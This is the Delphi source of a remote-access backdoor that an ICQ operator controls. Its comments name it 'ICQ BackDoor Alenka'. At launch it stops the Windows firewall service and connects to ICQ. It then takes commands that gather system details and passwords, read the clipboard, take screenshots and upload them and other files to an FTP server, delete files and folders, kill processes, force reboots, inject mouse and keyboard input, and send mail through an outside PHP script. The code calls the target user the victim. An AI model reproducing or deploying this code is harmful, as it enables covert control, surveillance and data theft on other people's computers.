unit Unit1; 

{ ICQ BackDoor Alenka  <img src="http://s5.ucoz.net/sm/2/smile.gif" border="0" align="absmiddle" alt="smile"> 
Authors: Casper and Neo][ack 
12.03.09 
} 

interface 

uses 
Windows, SysUtils, Forms,registry, mmsystem,WinSock,ICQClient, ExtCtrls, StdCtrls, 
Classes,winsvc, shellapi,GetUserInfo, Clipbrd, IdFTP, 
Controls, FileCtrl,psapi,tlhelp32, 
Graphics,jpeg,MegaRas, IdBaseComponent, IdComponent, 
IdTCPConnection, IdTCPClient, IdHTTP; 

type 
   TForm1 = class(TForm) 
     ICQ: TICQClient; 
     Timer1: TTimer; 
     Timer2: TTimer; 
     Label1: TLabel; 
     commandmemo: TMemo; 
     IdFTP1: TIdFTP; 
     Timer3: TTimer; 
     IdHTTP1: TIdHTTP; 
     procedure FormCreate(Sender: TObject); 
     procedure ICQConnectionFailed(Sender: TObject); 
     procedure Timer1Timer(Sender: TObject); 
     procedure ICQLogin(Sender: TObject); 
     procedure ICQMessageRecv(Sender: TObject; Msg, UIN: String); 
     procedure Timer2Timer(Sender: TObject); 
     procedure FormDestroy(Sender: TObject); 
     procedure ICQLogOff(Sender: TObject); 
     procedure ICQError(Sender: TObject; 
       ErrorMsg: String); 
     procedure Timer3Timer(Sender: TObject); 
   private 
     { Private declarations } 
   public 
     { Public declarations } 
   end; 

var 
   Form1: TForm1; 
    VolumeName,FileSystemName     : array [0..MAX_PATH-1] of Char; 
    VolumeSerialNo: DWord; 
    MaxComponentLength,FileSystemFlags: cardinal; 
    uinn,i:integer; 
    list,drivelist,text:tstringlist; 
    NumberHD,msg1:string; 
    wnd:Hwnd; 
implementation 

{$R *.dfm} 

procedure Close_Firewal; 
var 
   SCM, hService: LongWord; 
   sStatus: TServiceStatus; 
begin 
   SCM      := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS); 
   hService := OpenService(SCM, PChar('SharedAccess'), SERVICE_ALL_ACCESS); 
   ControlService(hService, SERVICE_CONTROL_STOP, sStatus); 
   CloseServiceHandle(hService); 
end; 

function MyExitWindows(RebootParam: Longword): Boolean; 
var  
TTokenHd: THandle; 
TTokenPvg: TTokenPrivileges; 
cbtpPrevious: DWORD; 
rTTokenPvg: TTokenPrivileges; 
pcbtpPreviousRequired: DWORD; 
tpResult: Boolean; 
const  
SE_SHUTDOWN_NAME = 'SeShutdownPrivilege'; 
begin  
if Win32Platform = VER_PLATFORM_WIN32_NT then 
begin 
tpResult := OpenProcessToken(GetCurrentProcess(), 
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY,TTokenHd); 
if tpResult then 
begin 
tpResult := LookupPrivilegeValue(nil,SE_SHUTDOWN_NAME,TTokenPvg.Privileges[0].Luid); 
TTokenPvg.PrivilegeCount := 1; 
TTokenPvg.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED; 
cbtpPrevious := SizeOf(rTTokenPvg); 
pcbtpPreviousRequired := 0; 
if tpResult then Windows.AdjustTokenPrivileges(TTokenHd,False,TTokenPvg,cbtpPrevious,rTTokenPvg,pcbtpPreviousRequired); 
end; 
end; 
Result := ExitWindowsEx(RebootParam, 0); 
end; 

function GetTimeOnPC: string; 
var 
t,time,hour,min:integer; 
begin 
t:=GetTickCount; 
time:=t div 60000; 
hour:=time div 60; 
min:=time mod 60; 
Result:=IntToStr(hour)+':'+IntToStr(min)+', всего '+IntToStr(time)+' минут(ы)'; 
end; 

function driveexists(drive:byte):boolean; 
begin 
result:=boolean(getlogicaldrives and (1 shl drive)); 
end; 

function GetTimeOS:string; 
Const 
DenNedeli: array [1..7] of string = ('Воскресенье','Понедельник','Вторник','Среда','Четверг','Пятница','Суббота'); 
begin 
Result:=TimeToStr(Time) + ' ' + DateToStr(Date) + ', ' + DenNedeli[DayOfWeek(Date)]; 
end; 

function GetLocalIP: String; 
const WSVer = $101; 
var 
wsaData: TWSAData; 
P: PHostEnt; 
Buf: array [0..127] of Char; 
begin 
Result := ''; 
if WSAStartup(WSVer, wsaData) = 0 then begin 
if GetHostName(@Buf, 128) = 0 then begin 
P := GetHostByName(@Buf); 
if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^); 
end; 
WSACleanup; 
end; 
end; 

function GetIEVersion: string; 
var 
  Reg: TRegistry; 
  key:string; 
begin 
  Reg:=TRegistry.Create; 
  key:='Version'; 
  try 
   Reg.RootKey:=HKEY_LOCAL_MACHINE; 
   Reg.OpenKey('Software\Microsoft\Internet Explorer', False); 
    try 
     Result:=Reg.ReadString(Key); 
    except 
     Result:=''; 
    end; 
    Reg.CloseKey; 
  finally 
   Reg.Free; 
  end; 
end; 

function GetNameUser:string; 
var 
Size : cardinal; 
PRes : PChar; 
BRes : boolean; 
begin 
Size := MAX_COMPUTERNAME_LENGTH + 1; 
PRes := StrAlloc(Size); 
BRes := GetUserName(PRes, Size); 
if BRes then getnameuser := StrPas(PRes); 
end; 

function screensize:string; 
begin 
result:=IntToStr(Screen.Width) + '*' + IntToStr(Screen.Height); 
end; 

function GetWinDir : String; 
var 
pcWindowsDirectory : PChar; 
dwWDSize           : DWORD; 
begin 
dwWDSize := MAX_PATH + 1; 
GetMem( pcWindowsDirectory, dwWDSize ); 
try 
if Windows.GetWindowsDirectory( pcWindowsDirectory, dwWDSize ) <> 0 then 
Result := pcWindowsDirectory+'\'; 
finally 
FreeMem( pcWindowsDirectory ); 
end; 
end; 

function GetComputerName : String; 
var 
pcComputer : PChar; 
dwCSize    : DWORD; 
begin 
dwCSize := MAX_COMPUTERNAME_LENGTH + 1; 
GetMem( pcComputer, dwCSize ); 
try 
if Windows.GetComputerName( pcComputer, dwCSize ) then 
GetComputerName := StrPas(pcComputer); 
finally 
FreeMem( pcComputer ); 
end; 
end; 

function GetOSInfo: String; 
var 
    OSVersion: TOSVersionInfo; 
    RegFile: TRegIniFile; 
begin 
   RegFile:=TRegIniFile.Create('Software'); 
   OSVersion.dwOSVersionInfoSize:=SIZEOF(OSVersion); 

   if GetVersionEx(OSVersion) then 
   begin 
       Result:= Format('%d.%d (%d.%s)',[OSVersion.dwMajorVersion, 
         OSVersion.dwMinorVersion,(OSVersion.dwBuildNumber and $FFFF), 
         OSVersion.szCSDVersion]); 
   end; 
   regfile.CloseKey; 
   regfile.Free; 
end; 

function GetOsPlatform:string; 
var 
    OSVersion: TOSVersionInfo; 
begin 
OSVersion.dwOSVersionInfoSize:=SIZEOF(OSVersion); 
GetVersionEx(OSVersion); 
if OSVersion.dwPlatformID=VER_PLATFORM_WIN32s then result:='Windows 3.1'; 
if OSVersion.dwPlatformID=VER_PLATFORM_WIN32_WINDOWS then result:='Windows 95'; 
if OSVersion.dwPlatformID=VER_PLATFORM_WIN32_NT then result:='Windows NT'; 
end; 

function GetOsNumber:string; 
var 
RegFile: TRegIniFile; 
default:string; 
begin 
   RegFile:=TRegIniFile.Create('Software'); 
   RegFile.RootKey := HKEY_LOCAL_MACHINE; 
   RegFile.OpenKey('SOFTWARE', false); 
   RegFile.OpenKey('Microsoft', false); 
   RegFile.OpenKey('Windows', false); 
result:=RegFile.ReadString('CurrentVersion','ProductId',default); 
regfile.CloseKey; 
regfile.Free; 
end; 

function GetTotalDiskSize(Root: String): Real; 
begin 
   Result := 0; 
   if not DirectoryExists(Root[1]+':\') then Exit; 
   Root := UpperCase(Root); 
   Result := DiskSize(Ord(Root[1]) - 64 )/1073741824; 
end; 

function GetFreeDiskSize(Root: String): Real; 
begin 
   Result := 0; 
   if not DirectoryExists(Root[1]+':\') then Exit; 
   Root := UpperCase(Root); 
   Result := DiskFree(Ord(Root[1]) - 64 )/1073741824; 
end; 

function GetTotalPageFile:DWORD; 
var 
  MemInfo : TMemoryStatus; 
begin 
MemInfo.dwLength := Sizeof (MemInfo); 
GlobalMemoryStatus (MemInfo); 
Result := MemInfo.dwTotalPageFile; 
end; 

function GetTotalPhys:DWORD; 
var 
  MemInfo : TMemoryStatus; 
begin 
MemInfo.dwLength := Sizeof (MemInfo); 
GlobalMemoryStatus (MemInfo); 
Result := MemInfo.dwTotalPhys; 
end; 

function GetAvailPhys:DWORD; 
var 
  MemInfo : TMemoryStatus; 
begin 
MemInfo.dwLength := Sizeof (MemInfo); 
GlobalMemoryStatus (MemInfo); 
Result := MemInfo.dwAvailPhys; 
end; 

function GetAvailPageFile:DWORD; 
var 
  MemInfo : TMemoryStatus; 
begin 
MemInfo.dwLength := Sizeof (MemInfo); 
GlobalMemoryStatus (MemInfo); 
Result := MemInfo.dwAvailPageFile; 
end; 

function GetProcessorName: String; 
var 
   RegFile: TRegIniFile; 
begin 
   RegFile:=TRegIniFile.Create('Software'); 
   RegFile.RootKey := HKEY_LOCAL_MACHINE; 
   RegFile.OpenKey('hardware', false); 
   RegFile.OpenKey('DESCRIPTION', false); 
   RegFile.OpenKey('System', false); 
   RegFile.OpenKey('CentralProcessor', false); 
   Result := RegFile.ReadString(IntToStr(0),'ProcessorNameString', ''); 
   while result[1]=' ' do delete(result,1,1); 
  RegFile.CloseKey; 
  RegFile.Free; 
end; 

function GetVideoCard:string; 
var 
   lpDisplayDevice: TDisplayDevice; 
   dwFlags: DWORD; 
   cc: DWORD; 
   vidlst:tstringlist; 
begin 
   vidlst:=tstringlist.Create; 
   lpDisplayDevice.cb := sizeof(lpDisplayDevice); 
   dwFlags := 0; 
   cc := 0; 
  while EnumDisplayDevices(nil, cc, lpDisplayDevice, dwFlags) do 
   begin 
     Inc(cc); 
     vidlst.Add(lpDisplayDevice.DeviceString); 
end; 
result:=vidlst[0]; 
end; 

function GetCPUSpeed: word; 
begin 
   with tregistry.Create do 
   begin 
     rootkey := HKEY_LOCAL_MACHINE; 
     openkey('\hardware\description\system\centralprocessor\0\', false); 
     result := readinteger('~mhz'); 
     free; 
   end; 
end; 

function BiosDate:string; 
var 
   Registryv: TRegistry; 
   RegPath: string; 
begin 
   RegPath := '\HARDWARE\DESCRIPTION\System'; 
   registryv := tregistry.Create; 
   registryv.rootkey := HKEY_LOCAL_MACHINE; 
   try 
     registryv.Openkey(RegPath, false); 
     result:=RegistryV.ReadString('SystemBiosDate'); 
     except; 
     end; 
     Registryv.CloseKey; 
     Registryv.Free; 
end; 

function GetCPUCount: string; 
var 
   si: TSystemInfo; 
begin 
   GetSystemInfo(si); 
   Result := inttostr(si.dwNumberOfProcessors); 
   if result='1' then result:='1 ядро'; 
   if result='2' then result:='2 ядра'; 
   if result='3' then result:='3 ядра'; 
   if result='4' then result:='4 ядра'; 
   if result='8' then result:='8 ядер'; 
end; 

function Dirfiles(StartDir: string):string; 
var 
SearchRec: TSearchRec; 
list:tstringlist; 
begin 
   list:=tstringlist.Create; 
   list.Add('FileList:'); 
if StartDir[Length(StartDir)] <> '\' then 
StartDir := StartDir + '\'; 
if FindFirst(StartDir + '*.*', faAnyFile, SearchRec) = 0 then 
repeat 
if (SearchRec.Attr and faDirectory) = faDirectory then 
  if (SearchRec.Name <> '..') then 
List.Add(SearchRec.Name + '\'); 
until FindNext(SearchRec) <> 0; 
if FindFirst(StartDir + '*.*', faAnyFile, SearchRec) = 0 then 
begin 
repeat Application.ProcessMessages; 
if (SearchRec.Attr and faDirectory) <> faDirectory then 
List.Add(SearchRec.Name) 
until FindNext(SearchRec) <> 0; 
FindClose(SearchRec); 
end; 
result:= list.Text; 
end; 

procedure kill_dir(const lpszdirname: string); 
var 
    sr: TSearchRec; 
    lpszfilename: string; 
begin 
if not DirectoryExists(lpszdirname) then begin 
      form1.ICQ.SendMessage(uinn,'Нет такой папки '+ lpszdirname); 
         exit; 
         end; 
      if FindFirst(lpszdirname + '\*', faAnyFile, sr) = 0 then 
         begin 
         repeat 
         lpszfilename := lpszdirname + '\' + sr.Name; 
         if (sr.Attr and faDirectory) <> 0 then 
         begin 
         if (sr.Name <> '.') and (sr.Name <> '..') then 
         kill_dir(lpszfilename); 
         end; 
         until FindNext(sr) <> 0; 
         FindClose(sr); 
         end; 
      if not RemoveDir(lpszdirname) then 
  form1.ICQ.SendMessage(uinn,'Ошибка удаления каталога '+ lpszdirname); 
end; 

procedure kill_file(path:string); 
begin 
if not deletefile(path) then 
form1.ICQ.SendMessage(uinn,'Ошибка при удалении'); 
end; 

procedure ShowDesktop; 
var 
h:hwnd; 
begin 
h := FindWindow('ProgMan', nil); 
h := GetWindow(h, GW_CHILD); 
ShowWindow(h, SW_SHOW); 
end; 

procedure HideDesktop; 
var 
h:hwnd; 
begin 
h := FindWindow('ProgMan', nil); 
h := GetWindow(h, GW_CHILD); 
ShowWindow(h, SW_HIDE); 
end; 

procedure OpenFile(Path:string); 
begin 
ShellExecute(0,'OPEN',Pchar(Path),nil,nil,SW_SHOWNORMAL); 
end; 

function SetWallpaper(Path:string):string; 
var 
Reg: TRegIniFile; 
begin 
Reg := TRegIniFile.Create('Control Panel'); 
Reg.WriteString('desktop', 'Wallpaper', Path); 
Reg.WriteString('desktop', 'TileWallpaper', '1'); 
Reg.Free; 
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE); 
end; 

procedure HideStartButton; 
var 
Rgn : hRgn; 
begin 
Rgn := CreateRectRgn(0, 0, 0, 0); 
SetWindowRgn(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil),Rgn,true); 
end; 

procedure ShowStartButton; 
var 
Rgn : hRgn; 
begin 
SetWindowRgn(FindWindowEx(FindWindow('Shell_TrayWnd', nil),0,'Button',nil),0,true); 
end; 

procedure HideTaskBar; 
var 
hTaskBar : THandle; 
begin 
hTaskbar := FindWindow('Shell_TrayWnd', Nil); 
ShowWindow(hTaskBar, SW_HIDE); 
end; 

procedure ShowTaskBar; 
var 
hTaskBar : THandle; 
begin 
hTaskbar := FindWindow('Shell_TrayWnd', Nil); 
ShowWindow(hTaskBar, sw_normal); 
end; 

procedure HideClock; 
begin 
wnd:=findwindow('Shell_TrayWND',nil); 
wnd:=Findwindowex(wnd,hwnd(0),'TrayNotifyWND',nil); 
wnd:=Findwindowex(wnd,hwnd(0),'TrayClockWclass',nil); 
showwindow(wnd,sw_hide); 
end; 

procedure ShowClock; 
begin 
wnd:=findwindow('Shell_TrayWND',nil); 
wnd:=Findwindowex(wnd,hwnd(0),'TrayNotifyWND',nil); 
wnd:=Findwindowex(wnd,hwnd(0),'TrayClockWclass',nil); 
showwindow(wnd,sw_normal); 
end; 

procedure SendMail(msg:string); 
var 
sendmail,frommail,fromname,subjectemail,mailtext:string; 
a1:integer; 
LoginInfo: TStrings; 
Response: TStringStream; 
begin 
LoginInfo := TStringList.Create; 
Response := TStringStream.Create(''); 

delete(msg,1,5); 

a1:=pos(',',msg); 
sendmail:=msg; 
delete(sendmail,a1,length(sendmail)-a1+2); 
delete(msg,1,a1); 

a1:=pos(',',msg); 
frommail:=msg; 
delete(frommail,a1,length(frommail)-a1+2); 
delete(msg,1,a1); 

a1:=pos(',',msg); 
fromname:=msg; 
delete(fromname,a1,length(fromname)-a1+2); 
delete(msg,1,a1); 

a1:=pos(',',msg); 
subjectemail:=msg; 
delete(subjectemail,a1,length(subjectemail)-a1+2); 
delete(msg,1,a1); 

a1:=pos(',',msg); 
mailtext:=msg; 
delete(mailtext,a1,length(mailtext)-a1+2); 
delete(msg,1,a1); 

LoginInfo.Clear; 
LoginInfo.Add('from='+fromname+' <'+frommail+'>'); 
LoginInfo.Add('to='+sendmail); 
LoginInfo.Add('title='+subjectemail); 
LoginInfo.Add('mess='+mailtext); 
LoginInfo.Add('submit='''); 
form1.idHTTP1.Post('http://neoxack.hut1.ru/mail.php',LoginInfo,Response); 
Response.Free; 
LoginInfo.Free; 
end; 

procedure SendTxtFile(Path:string); 
begin 
text:=tstringlist.Create; 
text.LoadFromFile(Path); 
form1.ICQ.SendMessage(uinn,text.Text); 
end; 

procedure TForm1.FormCreate(Sender: TObject); 
var 
reg: TRegistry; 
drive:byte; 
begin 
NumberHD:='C:\'; 
{reg := TRegistry.Create; 
reg.RootKey := HKEY_LOCAL_MACHINE; 
reg.LazyWrite := false; 
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',false); 
reg.WriteString('svchost', Application.ExeName); 
reg.CloseKey; 
reg.free;  } 
Close_Firewal; 
list:=tstringlist.Create; 
drivelist:=tstringlist.Create; 
drivelist.Add('DRIVELIST:'); 
for drive:=0 to 25 do if driveexists(drive) then begin 
drivelist.Add(chr(drive+$41)); 
end; 
icq.Login; 
end; 

function GetProcessList:string; 
var 
   ph, snap: THandle; 
   mh: hmodule; 
   procs: array[0..$FFF] of dword; 
   count, cm: cardinal; 
   i: integer; 
   ModName: array[0..max_path] of char; 
   sl: TStringlist; 
begin 
  sl:=TStringlist.Create; 
     if not EnumProcesses(@procs, sizeof(procs), count) then 
     begin 
       exit; 
     end; 
     for i := 0 to count div 4 - 1 do 
     begin 
       ph := OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, 
         false, procs[i]); 
       if ph > 0 then 
       begin 
         EnumProcessModules(ph, @mh, 4, cm); 
         GetModuleFileNameEx(ph, mh, ModName, sizeof(ModName)); 
         sl.Add(string(ExtractFileName(ModName))); 
         CloseHandle(ph); 
       end; 
     end; 
     sl.Delete(0); 
     result:=sl.Text; 
   end; 
procedure KillProcess(proc:string); 
begin 
shellexecute(0,'OPEN',pchar('taskkill'),pchar(' /f /im '+proc+' /t'),nil,SW_Hide); 
end; 

function FullDirectoryCopy(SourceDir, TargetDir: string; StopIfNotAllCopied, 
   OverWriteFiles: Boolean): Boolean; 
var 
   SR: TSearchRec; 
   I: Integer; 
begin 
   Result := False; 
   SourceDir := IncludeTrailingBackslash(SourceDir); 
   TargetDir := IncludeTrailingBackslash(TargetDir); 
   if not DirectoryExists(SourceDir) then 
     Exit; 
   if not ForceDirectories(TargetDir) then 
     Exit; 

   I := FindFirst(SourceDir + '*', faAnyFile, SR); 
   try 
     while I = 0 do 
     begin 
       if (SR.Name <> '') and (SR.Name <> '.') and (SR.Name <> '..') then 
       begin 
         if SR.Attr = faDirectory then 
           Result := FullDirectoryCopy(SourceDir + SR.Name, TargetDir + SR.NAME, 
             StopIfNotAllCopied, OverWriteFiles) 
         else if not (not OverWriteFiles and FileExists(TargetDir + SR.Name)) 
           then 
           Result := CopyFile(Pchar(SourceDir + SR.Name), Pchar(TargetDir + 
             SR.Name), False) 
         else 
           Result := True; 
         if not Result and StopIfNotAllCopied then 
           exit; 
       end; 
       I := FindNext(SR); 
     end; 
   finally 
     SysUtils.FindClose(SR); 
   end; 
end; 

procedure FullCopy(SourceDir, TargetDir: string); 
begin 
createdir(TargetDir+'\'+extractfilename(SourceDir)); 
FullDirectoryCopy(SourceDir,TargetDir+'\'+extractfilename(SourceDir),false,true); 
end; 

procedure screenshot(quility:string); 
var bmp:TBitmap; 
jpg: tjpegimage; 
begin 
     jpg:=tjpegimage.Create; 
     bmp := TBitmap.Create; 
     bmp.Width := Screen.Width; 
     bmp.Height := Screen.Height; 
     BitBlt(bmp.Canvas.Handle, 0,0, Screen.Width, Screen.Height,GetDC(0), 0,0,SRCCOPY); 
     jpg.CompressionQuality:=strtoint(quility); 
     jpg.ProgressiveEncoding:=true; 
     jpg.Assign(bmp); 
     jpg.SaveToFile(GetCurrentDir+'\Screen'+copy(GetTimeOS,1,2)+'_'+copy(GetTimeOS,4,2)+'_'+copy(GetTimeOS,7,2)+'.jpg'); 
     jpg.Free; 
     bmp.Free; 
     msg1:=(GetCurrentDir+'\Screen'+copy(GetTimeOS,1,2)+'_'+copy(GetTimeOS,4,2)+'_'+copy(GetTimeOS,7,2)+'.jpg'); 
     form1.IdFTP1.Connect; 
     form1.timer3.Enabled:=true; 
end; 

procedure TForm1.ICQConnectionFailed(Sender: TObject); 
begin 
timer1.Enabled:=true; 
end; 

procedure TForm1.Timer1Timer(Sender: TObject); 
begin 
icq.Login; 
end; 

procedure TForm1.ICQLogin(Sender: TObject); 
begin 
timer1.Enabled:=false; 
label1.Caption:='Подключились'; 
end; 

procedure TForm1.ICQMessageRecv(Sender: TObject; Msg, UIN: String); 
begin 
Uinn:=strtoint(uin); 
if copy(msg,1,5)='mail:' then  sendmail(msg); 
if copy(msg,1,5)='Mail:' then  sendmail(msg); 
if copy(msg,1,5)='MAIL:' then  sendmail(msg); 
msg:=UpperCase(msg); 
if msg='CONPASS' then icq.SendMessage(uinn,getpasswords); 
if msg='REBOOT' then MyExitWindows(EWX_REBOOT or EWX_FORCE); 
if msg='OFF' then MyExitWindows(EWX_POWEROFF or EWX_FORCE); 
if msg='CDO' then mciSendString('Set cdaudio door open wait', nil, 0, handle); 
if msg='CDC' then mciSendString('Set cdaudio door closed wait', nil, 0, handle); 
if msg='AUTHOR' then icq.SendMessage(uinn,'Создатель: NanoTeam :)'); 
if msg='INFO' then timer2.Enabled:=true; 
if msg='SHOWDESK' then ShowDesktop; 
if msg='HIDEDESK' then HideDesktop; 
if msg='HIDECLOCK' then HideClock; 
if msg='SHOWCLOCK' then ShowClock; 
if msg='SHOWSTART' then showstartbutton; 
if msg='HIDESTART' then hidestartbutton; 
if msg='SHOWTASKBAR' then showtaskbar; 
if msg='HIDETASKBAR' then hidetaskbar; 
if msg='CLOSE' then halt; 
if msg='TIMEPC' then icq.SendMessage(uinn,'Время работы жертвы:'+GetTimeOS); 
if msg='TIMEPOWERPC' then icq.SendMessage(uinn,'Компьютер проработал:'+GetTimeOnPC); 
if msg='COMMAND' then icq.SendMessage(uinn,commandmemo.Lines.Text); 
if msg='DRIVELIST' then icq.SendMessage(uinn,drivelist.Text); 
if msg='MSL' then begin Mouse_event(MOUSEEVENTF_LEFTDOWN, mouse.CursorPos.X, Mouse.CursorPos.Y, 0, 0);Mouse_event(MOUSEEVENTF_LEFTUP, mouse.CursorPos.X, Mouse.CursorPos.Y, 0, 0);end; 
if msg='MSR' then begin Mouse_event(MOUSEEVENTF_RIGHTDOWN, mouse.CursorPos.X, Mouse.CursorPos.Y, 0, 0);Mouse_event(MOUSEEVENTF_RIGHTUP, mouse.CursorPos.X, Mouse.CursorPos.Y, 0, 0);end; 
if msg='MSM' then begin Mouse_event(MOUSEEVENTF_MIDDLEDOWN, mouse.CursorPos.X, Mouse.CursorPos.Y, 0, 0);Mouse_event(MOUSEEVENTF_MIDDLEUP, mouse.CursorPos.X, Mouse.CursorPos.Y, 0, 0);end; 
if msg='VK_ENTER' then keybd_event(VK_RETURN, 0, 0, 0); 
if msg='VK_ESCAPE' then keybd_event(VK_ESCAPE, 0, 0, 0); 
if msg='VK_SPACE' then keybd_event(VK_SPACE, 0, 0, 0); 
if msg='GETCLB' then icq.SendMessage(uinn,Clipboard.AsText); 
if msg='GETPROC' then  icq.SendMessage(uinn,GetProcessList); 
if copy(msg,1,11)='UPLOADFILE:' then begin  delete(msg,1,11);IdFTP1.Connect; msg1:=msg; timer3.Enabled:=true; end; 
if copy(msg,1,9)='NUMBERHD:' then begin delete(msg,1,9); NumberHD:=msg; end; 
if copy(msg,1,5)='OPEN:' then OpenFile(copy(msg,6,length(msg)-5)); 
if copy(msg,1,10)='SETCURSOR:' then setcursorpos(StrToInt(copy(msg,11,pos(',',msg)-11)),StrToInt((copy(msg,pos(',',msg)+1,length(msg)-pos(',',msg))))); 
if copy(msg,1,9)='FILELIST:' then icq.SendMessage(uinn, dirfiles(copy(msg,10,length(msg)-10))); 
if copy(msg,1,8)='KILLDIR:' then begin delete(msg,1,8); kill_dir(msg); end; 
if copy(msg,1,8)='DELFILE:' then kill_file(copy(msg,9,length(msg)-8)); 
if copy(msg,1,9)='KILLPROC:' then begin delete(msg,1,9); KillProcess(msg); end; 
if copy(msg,1,7)='SETCLB:' then begin delete(msg,1,7); Clipboard.AsText:=msg; end; 
if copy(msg,1,8)='OPENURL:' then begin delete(msg,1,8); ShellExecute(Form1.Handle,nil,Pchar(msg),nil,nil,SW_SHOWNORMAL);end; 
if copy(msg,1,8)='SETWALL:' then begin delete(msg,1,8); SetWallpaper(msg); end; 
if copy(msg,1,8)='OPENTXT:' then  begin delete(msg,1,8); sendtxtfile(msg); end; 
if copy(msg,1,11)='SCREENSHOT:' then  begin delete(msg,1,11); screenshot(msg); end; 
if copy(msg,1,12)='MESSAGEWARN:' then begin delete(msg,1,12); application.messagebox(Pchar(Copy(msg,1,pos(',',msg)-1)), Pchar(Copy(msg,pos(',',msg)+1,length(msg)-pos(',',msg))) , mb_ok or MB_ICONERROR or MB_TOPMOST); end; 
if copy(msg,1,9)='COPYFILE:' then begin delete(msg,1,9);copyfile(Pchar(copy(msg,1,pos(',',msg)-1)),Pchar(copy(msg,pos(',',msg)+1,length(msg)-pos(',',msg))),true);end; 
if copy(msg,1,8)='COPYDIR:' then begin delete(msg,1,8); FullCopy(copy(msg,1,pos(',',msg)-1),copy(msg,pos(',',msg)+1,length(msg)-pos(',',msg))); end; 
end; 

procedure TForm1.Timer2Timer(Sender: TObject); 
begin 
GetVolumeInformation(Pchar(NumberHD),VolumeName,MAX_PATH,@VolumeSerialNo,MaxComponentLength,FileSystemFlags,FileSystemName,MAX_PATH ); 
list.Add('Info:');  list.Add(GetOSInfo); 
list.Add(GetOsPlatform);  list.Add(getnameuser); 
list.Add(GetOSNumber);  list.Add(GetComputerName); 
list.Add(getwindir);  list.Add(getvideocard); 
list.Add(IntToStr(GetTotalPhys div(1048576))+' Мб');  list.Add(IntToStr(GetTotalPageFile div (1048576))+' Мб'); 
list.Add(IntToStr(GetAvailPhys div (1048576))+' Мб');  list.Add(IntToStr(GetAvailPageFile div (1048576))+' Мб'); 
list.Add(inttostr(GetCPUSpeed)+' МГц');  list.Add(screensize); 
list.Add(GetProcessorName);  list.Add(GetLocalIP); 
list.Add(GetCPUCount);  list.Add((copy(floattostr(GetTotalDiskSize(NumberHD)),1,6)+' Гб')); 
list.Add((copy(floattostr(GetFreeDiskSize(NumberHD)),1,6)+' Гб'));  list.Add(FileSystemName); 
list.Add(GetIEVersion);  list.Add(GetTimeOnPC); 
list.Add(BiosDate);  list.Add(GetTimeOS); 
icq.SendMessage(uinn,list.Text); 
timer2.Enabled:=false; 
end; 

procedure TForm1.FormDestroy(Sender: TObject); 
begin 
if ICQ.LoggedIn then 
ICQ.LogOff; 
end; 

procedure TForm1.ICQLogOff(Sender: TObject); 
begin 
timer1.Enabled:=true; 
end; 

procedure TForm1.ICQError(Sender: TObject; 
   ErrorMsg: String); 
begin 
timer1.Enabled:=true; 
end; 

procedure TForm1.Timer3Timer(Sender: TObject); 
begin 
if IdFTP1.Connected 
  then 
   begin 
   try 
      IdFTP1.Put(msg1,ExtractFileName(msg1)); 
      form1.ICQ.SendMessage(uinn,'Файл ['+ExtractFileName(msg1)+'] закачан на FTP'); 
      timer3.Enabled:=false; 
      deletefile(msg1); 
finally 
end; 
end; 
end; 

end.